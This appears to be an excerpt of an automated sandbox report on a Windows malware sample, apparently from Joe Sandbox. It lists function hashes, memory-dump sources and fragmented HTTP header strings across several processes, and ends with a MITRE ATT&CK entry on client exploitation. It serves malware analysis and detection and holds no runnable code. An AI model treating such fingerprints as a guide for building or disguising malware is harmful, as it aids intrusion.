Instruction Fuzzy Hash: FB4174B6500208BFEF125F69CC48BEEBFB9FF84704F154069EA44AA254D734D650CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01474674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

User, xrefs: 014747AA
nt: , xrefs: 014747B6
Cook, xrefs: 01474728
-Age, xrefs: 014747B0
ie: , xrefs: 0147472E

Memory Dump Source

Source File: 00000028.00000002.2991946054.0000000001470000.00000040.00000001.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_1470000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 713e19e7b0b50d882a19a44256ba5d35de350392c79ccfefcb1bdb785a34b1f0
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: FF4163B6500208BFEF129FA5CC48BEEBFBAFF84704F154069EA44AA254D734D640DB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: KIdSIJzxFEgRWLYApSEFvZXik.exePID: 5356, Parent PID: 6384COMMON

Executed Functions

Function 0116093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2991247342.0000000001160000.00000040.00000001.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 3ef8b4b99b75002c0da831c93f7b81e2c645f254dd715e3bf63bccdcc3fbbdba
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 7B5192315442549FEB175F24CC85B997BBCEF04744F0401D9BB49FE0D6DBB096A0CA65

Uniqueness

Uniqueness Score: -1.00%

Function 011614BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2991247342.0000000001160000.00000040.00000001.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d63aec374ba4a82edc09d58ede7f76cfd3e196a7aafa6aaffec7fd3e48ce6db5
Instruction ID: ca9446ac266cb62fba29155b7167ac075d23726b83bdebe6c04dea929bb36878
Opcode Fuzzy Hash: d63aec374ba4a82edc09d58ede7f76cfd3e196a7aafa6aaffec7fd3e48ce6db5
Instruction Fuzzy Hash: 51211072405614AEDB03AF60C9C8CA773ECEF80608F45096A9D85EF049FF719164CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 01161345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2991247342.0000000001160000.00000040.00000001.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: f1dfe0a571fb963acbe03fcb2643c68d557788c35989c1da7696e4f36fc46b07
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: B2219031A04216AFEB119F78C844B5DBFB9AF44710F058215FE55BF594D770E810CB94

Uniqueness

Uniqueness Score: -1.00%

Function 011614DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2991247342.0000000001160000.00000040.00000001.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7949667107aebde7353fdb582656519b60ef247000cbbaa81536c7b33184ae9b
Instruction ID: 398ac33ed0ded64353b9649ef43a413b9e45298f246b10031eca1a3504f597d3
Opcode Fuzzy Hash: 7949667107aebde7353fdb582656519b60ef247000cbbaa81536c7b33184ae9b
Instruction Fuzzy Hash: 3811C172404615AEEF07AF60C5C8CAA73ECEF80608B45096A9D86EF44DFF719164CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 01163F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2991247342.0000000001160000.00000040.00000001.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 9b24d890cd414d69b3160115f6f0181cdad2c7c5668fe810d00f953b9b53af3e
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: CFF082305A8241A6FF053BB09C4966936BCBF20309F0404D0AADDED0D0CF3145708E73

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01164674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 011647B0
User, xrefs: 011647AA
nt: , xrefs: 011647B6
ie: , xrefs: 0116472E
Cook, xrefs: 01164728

Memory Dump Source

Source File: 00000029.00000002.2991247342.0000000001160000.00000040.00000001.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: f8767cc80695f5b720c7adde5b32d973e735ff1c2862213ccf25447673b78a86
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 5D4161B6500608BFEF129F65CC44BEEBFBAFF80704F154069EA44AA254D7359650CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01164675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 011647B0
User, xrefs: 011647AA
nt: , xrefs: 011647B6
ie: , xrefs: 0116472E
Cook, xrefs: 01164728

Memory Dump Source

Source File: 00000029.00000002.2991247342.0000000001160000.00000040.00000001.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 3e0deb0b5cdcc50c56aa97a06d9b689e6a5e566687e8a34d7fa1b46ac4335fc7
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 464161B6500608BFEF125F69CC48BDEBFBEFF80704F154069EA44AA254D7359650CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: KIdSIJzxFEgRWLYApSEFvZXik.exePID: 4464, Parent PID: 6384COMMON

Executed Functions

Function 01FF093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2999511262.0000000001FF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1ff0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 9f787b4a114e438c773e5ce175d4dfee72dae3f8a7ffc12038e15b4265060d00
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 2151C2315442549FEB23AF20CC84B993BB8AF04740F040199FB45FE0E6DBB09594CA65

Uniqueness

Uniqueness Score: -1.00%

Function 01FF14BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2999511262.0000000001FF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1ff0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction ID: bfe9d7f7eabf516cf5551531c1b906e8d1652d8a65ab349f18de1351930c51d2
Opcode Fuzzy Hash: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction Fuzzy Hash: 0C211D724086149EDB03AF60C9C8DA777ECEF40604F45096E9E89EF059FEB19154CEE6

Uniqueness

Uniqueness Score: -1.00%

Function 01FF1345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2999511262.0000000001FF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1ff0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 9d872465cbf70f97b32a6c3bd469c70dafc5238e27be7853a9c15bcc31a4da9f
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 62219031908216AFEB119F78C844B5DBFB6EF04700F054219FE55BB5A4DB70E810CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01FF14DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2999511262.0000000001FF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1ff0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction ID: 3b238f65e0d816864b808b707de84d9110065cce9cd42991d4942a38500817d6
Opcode Fuzzy Hash: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction Fuzzy Hash: B911BC72404615DEEF03AF60C9C8CAA73ECEE40604B45096E9E85EF459FEB19164CEE5

Uniqueness

Uniqueness Score: -1.00%

Function 01FF3F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2999511262.0000000001FF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1ff0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction ID: 0b987fa3a4d5acf9e0e638d1da2115ed4cd13df4763786a0928d299e6ad6f779
Opcode Fuzzy Hash: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction Fuzzy Hash: 39F08274598241A6FF403F708C496093AB47F60705F040098ABC9BD0F4CEB15551CE70

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01FF4675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 01FF47B6
ie: , xrefs: 01FF472E
-Age, xrefs: 01FF47B0
Cook, xrefs: 01FF4728
User, xrefs: 01FF47AA

Memory Dump Source

Source File: 0000002A.00000002.2999511262.0000000001FF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1ff0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: e571af989efc4ff1608e4dafaaca01c321a614f031cce3ebd8c68e7d8232835a
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: CA4161B6900208FFEF125F69CC48BDEBFB9FF80704F154069EA44AA264D7759644CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01FF4674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 01FF47B6
ie: , xrefs: 01FF472E
-Age, xrefs: 01FF47B0
Cook, xrefs: 01FF4728
User, xrefs: 01FF47AA

Memory Dump Source

Source File: 0000002A.00000002.2999511262.0000000001FF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1ff0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 31598023da68bc81c7b61b0384cf365341876fa5fa51c7c2d0223e9a88a7ff90
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: FC4161B6900208FFEF129F65CC44BEEBFBAFF80704F154069EA44AA264D7759640CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: KIdSIJzxFEgRWLYApSEFvZXik.exePID: 2380, Parent PID: 6384COMMON

Executed Functions

Function 0263093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2998706613.0000000002630000.00000040.00000001.00020000.00000000.sdmp, Offset: 02630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2630000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: d97159d6e993760e49e9dc721a4804c8ede456f07546ed64e54629e9f12f2516
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: C7517E316442549FEB239F20CC85B9A77BCAF04744F0401D9EA49FE1D6DBB09694CB69

Uniqueness

Uniqueness Score: -1.00%

Function 026314BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2998706613.0000000002630000.00000040.00000001.00020000.00000000.sdmp, Offset: 02630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2630000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction ID: 62c407d0e037ba372b2ca73e4e6c54abfbe99613442f0c32260c83b641de3f32
Opcode Fuzzy Hash: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction Fuzzy Hash: 57210C724046149EEF03AF60C9C8CA673ECEF41704F4509AA9D89EF049FE709554CEEA

Uniqueness

Uniqueness Score: -1.00%

Function 02631345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2998706613.0000000002630000.00000040.00000001.00020000.00000000.sdmp, Offset: 02630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2630000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: c7d84caa2f3dbb54a079b68f783be2200231a9e5b47ff059d1dcf0838b11a3e7
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 6221D231A04216AFEF12DF78C844B5DBBB5AF05700F054255FD59BB694DB30E900CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 026314DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2998706613.0000000002630000.00000040.00000001.00020000.00000000.sdmp, Offset: 02630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2630000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction ID: 4b0e57a3d443d27c14945c7e50721c76b54bccdebdb575d6f22000506c12ec4a
Opcode Fuzzy Hash: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction Fuzzy Hash: 2A1186724046149EEF03AF60C5C8CAA73ECEF41708B4509AE9D89EF449FE719154CEE9

Uniqueness

Uniqueness Score: -1.00%

Function 02633F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2998706613.0000000002630000.00000040.00000001.00020000.00000000.sdmp, Offset: 02630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2630000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction ID: 0834c268b7b74bcd1d5820c5794c8b3633a6835d8a09433a703c84c1926caaf5
Opcode Fuzzy Hash: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction Fuzzy Hash: F4F01C70588280AAFF423FB08C4965936B9AF40786F4405DDAA89ED2D5DE7085608EF9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02634675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 02634728
-Age, xrefs: 026347B0
ie: , xrefs: 0263472E
nt: , xrefs: 026347B6
User, xrefs: 026347AA

Memory Dump Source

Source File: 0000002B.00000002.2998706613.0000000002630000.00000040.00000001.00020000.00000000.sdmp, Offset: 02630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2630000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 9e2cab7832aa77dfb5d46ffda19535afe7fece06bcb827bddafcb1d7fc677167
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 1F4163B6500208BFEF125FA5CC48BDEBFBAEF84704F154069EA44AA254DB34D650CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02634674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 02634728
-Age, xrefs: 026347B0
ie: , xrefs: 0263472E
nt: , xrefs: 026347B6
User, xrefs: 026347AA

Memory Dump Source

Source File: 0000002B.00000002.2998706613.0000000002630000.00000040.00000001.00020000.00000000.sdmp, Offset: 02630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2630000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: dbde3d8a23a15ebec385b8f064784cf0b27d28e7c61d160758b43b25961ca33f
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 6E4153B6500208BFEF129FA5CC84BDEBBBAEF84704F154059EA44AA254DB349650CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: KIdSIJzxFEgRWLYApSEFvZXik.exePID: 2852, Parent PID: 6384COMMON

Executed Functions

Function 0081093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2992370177.0000000000810000.00000040.00000001.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_810000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 193f54a461ee22958edba624c7bec52abd32e53d98dda853fdfa95253aec388a
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 175150316443549FEB125F60CC85B9977BCFF04744F040199BA45FE0D6DAB09AD4CE66

Uniqueness

Uniqueness Score: -1.00%

Function 008114BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2992370177.0000000000810000.00000040.00000001.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_810000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction ID: cea91fbe97ee74291821fabfc619cd6afc527543ab57d4e38d0ce671c948162c
Opcode Fuzzy Hash: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction Fuzzy Hash: 1E210E724046149EDF03AF60C9C9CE673ECFF40704F45056AAE85EF44AFA749194CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 00811345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2992370177.0000000000810000.00000040.00000001.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_810000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: e5d73c6dfc00810bf1d332ad514b716431d6cc3a42d87a7d08ed0fb7c11739cd
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 46218E3190421AAFDF119E78C849B9DBBB9FF04700F054215FA65FB695D770A810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 008114DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2992370177.0000000000810000.00000040.00000001.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_810000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction ID: 18e119194ac07ce96fb614914b257255aea164d3700f50e5036dd8cf8a1800fd
Opcode Fuzzy Hash: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction Fuzzy Hash: 66117D724045149EEF03AF64C5C98EA73ECFF40704B45096AAD85EF84EFE749194CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 00813F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2992370177.0000000000810000.00000040.00000001.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_810000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 6f41db46181ac2ab4a69ef4d4811938c4b8cb3fd74fd25594033d9e7f96721c0
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: CDF01C70988644ABEF403BB48C4B6993ABCFF50745F040591BA8AED0D6DE7086D19E76

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00814675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 00814728
nt: , xrefs: 008147B6
ie: , xrefs: 0081472E
User, xrefs: 008147AA
-Age, xrefs: 008147B0

Memory Dump Source

Source File: 0000002C.00000002.2992370177.0000000000810000.00000040.00000001.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_810000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 6ac904193c9c1ce5ba3d7d9b1469b0333c410c058c25657fd97bb2c8e4e9f5fe
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 014161B6500208BFEF125F65CC48BEEBBBDFF80704F154469EA44EA294D7309A84CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00814674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 00814728
nt: , xrefs: 008147B6
ie: , xrefs: 0081472E
User, xrefs: 008147AA
-Age, xrefs: 008147B0

Memory Dump Source

Source File: 0000002C.00000002.2992370177.0000000000810000.00000040.00000001.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_810000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: f4b885dfc6e92519a4d14edd097611dea836544ecbc21365cff420756cbb7cf9
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 1C4153B6500208BFEF129F65CC44BEEBBB9FF84704F154459EA44EA254D7349A84CB94

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

